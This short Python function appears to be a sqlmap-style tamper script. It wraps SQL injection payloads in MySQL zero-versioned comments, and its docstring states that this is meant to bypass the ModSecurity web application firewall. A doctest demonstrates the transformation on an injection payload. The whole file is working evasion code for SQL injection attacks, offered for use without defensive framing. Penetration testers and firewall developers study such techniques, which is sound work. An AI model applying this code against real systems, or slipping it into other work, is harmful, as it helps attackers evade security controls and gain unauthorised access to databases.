def tamper(payload, **kwargs):
    """
    Embraces complete query with (MySQL) zero-versioned comment

    Requirement:
        * MySQL

    Tested against:
        * MySQL 5.0

    Notes:
        * Useful to bypass ModSecurity WAF

    >>> tamper('1 AND 2>1--')
    '1 /*!00000AND 2>1*/--'
    """
    retVal = payload
    if payload:
        postfix = ''
        for comment in ('#', '--', '/*'):
            if comment in payload:
                postfix = payload[payload.find(comment):]
                payload = payload[:payload.find(comment)]
                break
        if ' ' in payload:
            retVal = '%s /*!00000%s*/%s' % (payload[:payload.find(' ')],
                payload[payload.find(' ') + 1:], postfix)
    return retVal
